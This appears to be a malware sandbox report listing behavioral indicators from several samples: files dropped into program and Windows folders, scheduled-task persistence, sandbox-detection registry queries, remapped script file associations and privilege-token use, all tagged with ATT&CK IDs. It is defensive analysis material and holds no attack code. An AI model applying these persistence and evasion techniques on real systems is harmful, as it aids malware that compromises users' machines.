File created	C:\Program Files (x86)\rover\Exit\Exit.011.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\GetAttention\GetAttention.002.png	Rover.exe
File created	C:\Program Files (x86)\rover\Haf\Haf.007.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_9Idle\_9Idle.034.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Eat\Eat.071.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Exit\Exit.026.png	Rover.exe
File created	C:\Program Files (x86)\rover\Eat\Eat.015.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_2Idle\_2Idle.002.png	Rover.exe
File created	C:\Program Files (x86)\rover\_5Idle\_5Idle.010.png	Rover.exe
File created	C:\Program Files (x86)\rover\_6Idle\_6Idle.005.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Reading\Reading.010.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Come\Come.003.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Come\Come.010.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_3Idle\_3Idle.004.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_4Idle\_4Idle.012.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_10Idle\_10Idle.012.png	Rover.exe
File created	C:\Program Files (x86)\rover\_10Idle\_10Idle.015.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Eat\Eat.051.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Exit\Exit.028.png	Rover.exe
File created	C:\Program Files (x86)\rover\Snoring.wav	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Ashamed\Ashamed.020.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_3Idle\_3Idle.031.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_7Idle\_7Idle.016.png	Rover.exe
File created	C:\Program Files (x86)\rover\_10Idle\_10Idle.036.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\End_Speak\End_Speak.005.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Exit\Exit.014.png	Rover.exe
File created	C:\Program Files (x86)\rover\_2Idle\_2Idle.012.png	Rover.exe
File created	C:\Program Files (x86)\rover\_4Idle\_4Idle.004.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_4Idle\_4Idle.013.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_9Idle\_9Idle.029.png	Rover.exe
File created	C:\Program Files (x86)\rover\Scrape.wav	Rover.exe
File created	C:\Program Files (x86)\rover\RU_gdi.txt	Rover.exe
File created	C:\Program Files (x86)\rover\Ashamed\Ashamed.008.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_2Idle\_2Idle.010.png	Rover.exe
File created	C:\Program Files (x86)\rover\0001.wav	Rover.exe
File created	C:\Program Files (x86)\rover\Eat\Eat.007.png	Rover.exe
File created	C:\Program Files (x86)\rover\Eat\Eat.046.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_3Idle\_3Idle.010.png	Rover.exe
File created	C:\Program Files (x86)\rover\Reading\Reading.008.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Eat\Eat.005.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Eat\Eat.059.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Exit\Exit.015.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\GetAttention\GetAttention.007.png	Rover.exe
File created	C:\Program Files (x86)\rover\GetAttention\GetAttention.011.png	Rover.exe
File created	C:\Program Files (x86)\rover\_2Idle\_2Idle.008.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_2Idle\_2Idle.008.png	Rover.exe
File created	C:\Program Files (x86)\rover\Lick\Lick.010.png	Rover.exe
File created	C:\Program Files (x86)\rover\Come\Come.012.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Eat\Eat.010.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Sleep\Sleep.003.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Eat\Eat.001.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Jump.wav	Rover.exe
File created	C:\Program Files (x86)\rover\_1Idle\_1Idle.001.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_7Idle\_7Idle.019.png	Rover.exe

Drops file in Windows directory 15 IoCs

description	ioc	Process
File created	C:\Windows\~$mydoc.rtf	WINWORD.EXE
File created	\??\c:\Windows\WinSxS\wow64_microsoft-windows-r..t-office-protectors_31bf3856ad364e35_10.0.22000.318_none_1397e172aefba0be\MsoIrmProtector.doc.exe	zhwfpelw.exe
File created	C:\Windows\Tasks\XyyyteIMwZeutaZuw.job	schtasks.exe
File opened for modification	C:\Windows\mydoc.rtf	WINWORD.EXE
File created	C:\Windows\Tasks\bbmnnUCIPYyTQrzMQJ.job	schtasks.exe
File opened for modification	\??\c:\Windows\WinSxS\amd64_microsoft-windows-r..t-office-protectors_31bf3856ad364e35_10.0.22000.318_none_094337207a9adec3\MsoIrmProtector.doc.exe	zhwfpelw.exe
File opened for modification	\??\c:\Windows\WinSxS\amd64_microsoft-windows-r..t-office-protectors_31bf3856ad364e35_10.0.22000.318_none_094337207a9adec3\MsoIrmProtector.doc.exe	zhwfpelw.exe
File created	\??\c:\Windows\WinSxS\wow64_microsoft-windows-r..t-office-protectors_31bf3856ad364e35_10.0.22000.318_none_1397e172aefba0be\MsoIrmProtector.doc.exe	zhwfpelw.exe
File created	\??\c:\Windows\WinSxS\amd64_microsoft-windows-r..t-office-protectors_31bf3856ad364e35_10.0.22000.318_none_094337207a9adec3\MsoIrmProtector.doc.exe	zhwfpelw.exe
File opened for modification	\??\c:\Windows\WinSxS\wow64_microsoft-windows-r..t-office-protectors_31bf3856ad364e35_10.0.22000.318_none_1397e172aefba0be\MsoIrmProtector.doc.exe	zhwfpelw.exe
File created	C:\Windows\Tasks\rrqYunoktxOQmCoCX.job	schtasks.exe
File opened for modification	C:\Windows\mydoc.rtf	jaffa.exe
File created	\??\c:\Windows\WinSxS\amd64_microsoft-windows-r..t-office-protectors_31bf3856ad364e35_10.0.22000.318_none_094337207a9adec3\MsoIrmProtector.doc.exe	zhwfpelw.exe
File opened for modification	\??\c:\Windows\WinSxS\wow64_microsoft-windows-r..t-office-protectors_31bf3856ad364e35_10.0.22000.318_none_1397e172aefba0be\MsoIrmProtector.doc.exe	zhwfpelw.exe
File created	C:\Windows\Tasks\FPieTEPPuEmJrhC.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2988	4844	WerFault.exe	103

Checks processor information in registry 2 TTPs 9 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	n9d9AQtLIi9MHW0KzijcJ4wf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	n9d9AQtLIi9MHW0KzijcJ4wf.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WINWORD.EXE

Creates scheduled task(s) 1 TTPs 13 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2936	schtasks.exe
884	schtasks.exe
2092	schtasks.exe
4068	schtasks.exe
1292	schtasks.exe
4772	schtasks.exe
3284	schtasks.exe
4868	schtasks.exe
4720	schtasks.exe
4252	schtasks.exe
4168	schtasks.exe
2396	schtasks.exe
2100	schtasks.exe

Delays execution with timeout.exe 3 IoCs

evasion

pid	Process
1948	timeout.exe
4296	timeout.exe
2132	timeout.exe

Enumerates system info in registry 2 TTPs 10 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe

Kills process with taskkill 4 IoCs

evasion

pid	Process
3932	taskkill.exe
3732	taskkill.exe
4444	taskkill.exe
1180	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 29 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\GPU\VendorId = "4318"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\VersionManager\FirstCheckForUpdateLowDateTime = "3075026161"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListXMLVersionLow = "395196024"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\GPU\SoftwareFallback = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionHigh = "268435456"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\BrowserEmulation	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionHigh = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\GPU\DeviceId = "140"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\GPU\SubSysId = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\StaleCompatCache = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionLow = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListXMLVersionHigh = "268435456"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\StaleCompatCache = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\VersionManager\FirstCheckForUpdateHighDateTime = "31108511"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPMigrationVer = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "9"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\GPU\Revision = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionLow = "395196024"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "13"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "8"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListDomainAttributeSet = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\HomepagesUpgradeVersion = "1"	iexplore.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	BUCIlqG.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{74554a1b-0000-0000-0000-d01200000000}	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	BUCIlqG.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	BUCIlqG.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	BUCIlqG.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	BUCIlqG.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	BUCIlqG.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	BUCIlqG.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	BUCIlqG.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	BUCIlqG.exe

Modifies registry class 28 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\psiphon\shell\open	psiphon3.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLV.Classes\Com3 = "2EC1B15B4490399D52CEBAD73299D4BE"	jaffa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.wsf	tyaptijqml.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	tyaptijqml.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	tyaptijqml.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.WSF\ = "txtfile"	tyaptijqml.exe
Key created	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\psiphon	psiphon3.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLV.Classes\StartCom2 = "1838C67E15E3DBC3B9C17CE9EDE737B9"	jaffa.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\psiphon\ = "URL:psiphon"	psiphon3.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLV.Classes	jaffa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLV.Classes\Com2 = "6BBDFACCF964F29084083B37869739E4B0FB02FF43690348E2CB459C09A0"	jaffa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.WSH\ = "txtfile"	tyaptijqml.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs	tyaptijqml.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg	tyaptijqml.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	tyaptijqml.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLV.Classes\Com1 = "32472D089C5782246D4176A070552DDF7D8364AC"	jaffa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLV.Classes\Com4 = "7FF8FF8C4F2A851B913DD7217E95BDEEE130584466366342D791"	jaffa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.wsh	tyaptijqml.exe
Key created	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\psiphon\shell\open\command	psiphon3.exe
Key created	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings	jaffa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.wsc\ = "txtfile"	tyaptijqml.exe
Key created	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings	cmd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\psiphon\URL Protocol	psiphon3.exe
Key created	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\psiphon\shell	psiphon3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\psiphon\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\\psiphon3.exe\" -- \"%1\""	psiphon3.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLV.Classes\StartCom1 = "E0F46BC4FF6D21ADD27AD0A08B7A906B"	jaffa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat	tyaptijqml.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.wsc	tyaptijqml.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1896	WINWORD.EXE
1896	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3020	msedge.exe
3020	msedge.exe
2072	msedge.exe
2072	msedge.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe
4484	powershell.exe
4484	powershell.exe
2708	vXjkY8Z3Kz4Rvcef1hZ8syyc.exe
2708	vXjkY8Z3Kz4Rvcef1hZ8syyc.exe
2708	vXjkY8Z3Kz4Rvcef1hZ8syyc.exe
2708	vXjkY8Z3Kz4Rvcef1hZ8syyc.exe
3572	jaffa.exe
3572	jaffa.exe
3572	jaffa.exe
3572	jaffa.exe
3572	jaffa.exe
3572	jaffa.exe
3572	jaffa.exe
3572	jaffa.exe
3572	jaffa.exe
3572	jaffa.exe
3572	jaffa.exe
3572	jaffa.exe
3572	jaffa.exe
3572	jaffa.exe
3572	jaffa.exe
3572	jaffa.exe
3020	xaiysollkkahusz.exe
3020	xaiysollkkahusz.exe
3020	xaiysollkkahusz.exe
3020	xaiysollkkahusz.exe
3020	xaiysollkkahusz.exe
3020	xaiysollkkahusz.exe
3020	xaiysollkkahusz.exe
3020	xaiysollkkahusz.exe
2256	tyaptijqml.exe
2256	tyaptijqml.exe
2256	tyaptijqml.exe
2256	tyaptijqml.exe
2256	tyaptijqml.exe
2256	tyaptijqml.exe
2256	tyaptijqml.exe
2256	tyaptijqml.exe
2256	tyaptijqml.exe
2256	tyaptijqml.exe
468	ykzjefpcbszge.exe
468	ykzjefpcbszge.exe
468	ykzjefpcbszge.exe
468	ykzjefpcbszge.exe
468	ykzjefpcbszge.exe
468	ykzjefpcbszge.exe
468	ykzjefpcbszge.exe
468	ykzjefpcbszge.exe
468	ykzjefpcbszge.exe
468	ykzjefpcbszge.exe
468	ykzjefpcbszge.exe
468	ykzjefpcbszge.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2408	ac3.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
2072	msedge.exe
2072	msedge.exe

Suspicious use of AdjustPrivilegeToken 45 IoCs

description	pid	Process
Token: SeDebugPrivilege	3732	taskkill.exe
Token: SeDebugPrivilege	3560	Rover.exe
Token: SeDebugPrivilege	4444	taskkill.exe
Token: SeDebugPrivilege	2888	scary.exe
Token: SeDebugPrivilege	1180	taskkill.exe
Token: SeDebugPrivilege	3932	taskkill.exe
Token: SeSystemtimePrivilege	1548	cmd.exe
Token: SeSystemtimePrivilege	1548	cmd.exe
Token: SeDebugPrivilege	1528	powershell.exe
Token: 33	2960	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	2960	AUDIODG.EXE
Token: SeDebugPrivilege	4484	powershell.exe
Token: SeDebugPrivilege	2044	installutil.exe
Token: SeManageVolumePrivilege	2708	vXjkY8Z3Kz4Rvcef1hZ8syyc.exe
Token: SeDebugPrivilege	1116	powershell.exe
